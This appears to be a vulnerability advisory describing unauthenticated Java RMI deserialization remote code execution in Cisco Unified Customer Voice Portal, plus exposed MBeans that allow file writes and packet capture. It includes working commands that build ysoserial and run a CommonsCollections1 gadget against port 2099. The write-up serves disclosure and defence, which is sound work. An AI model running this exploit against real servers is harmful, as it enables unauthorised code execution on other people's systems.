[R1] Cisco Unified Customer Voice Portal Java Deserialization Remote Code Execution

The Cisco Unified Customer Voice Portal has a HTTP server running on TCP port 9443 if “Operations Console” is installed. From this website, under the “Device Management” menu, we can add/delete/edit Unified CVP Call Servers (among other types of servers) that need to be managed. Adding a second server hosted on the same LAN, and observing the two servers communicating across port 2099 shows the unencrypted communication between the servers was full of serialized Java objects (among other interesting things like the username "wsadmin" and the hash of wsadmin’s password). The servers communicate with each other using unauthenticated Java RMI. What does that mean for an attacker?

1. It is trivial to get remote code execution on either server using the unserialization of a Commons-Collections gadget as described in CVE-2015-6420. An attacker only needs to download ‘ysoserial’, build it, and execute it. Like so:

albino@lobster:~$ git clone https://github.com/frohoff/ysoserial.git ./ysormi
albino@lobster:~$ cd ./ysormi
albino@lobster:~/ysormi$ mvn install
albino@lobster:~/ysormi$ cd target
albino@lobster:~/ysormi/target$ java -cp ysoserial-0.0.2-SNAPSHOT-all.jar ysoserial.RMIRegistryExploit 192.168.1.6 2099 CommonsCollections1 "cmd /C mkdir C:\test"

2. Not only is there an RMI server on TCP port 2099, but also on TCP port 10001 and 10002 (We believe a couple others are configurable as well). All of these RMI servers expose a variety of MBeans that an unauthenticated remote user can invoke. We only found two MBeans that we felt were interesting (ignoring basic information gathering):

a. HotSpotDiagnostic offers the function “dumpHeap” which allows the user to write a file anywhere on the system. Two caveats: the invoker doesn’t control the contents of the file and the invoker can’t overwrite anything, making this an annoyance or potentially a low-end DoS for filling up drive space.

b. DiagnosticPortal contains functions for stopping and starting a packet sniffer. The pcap gets written to the root log directory. Basically, a way to fill up drive space again, with no critical impact.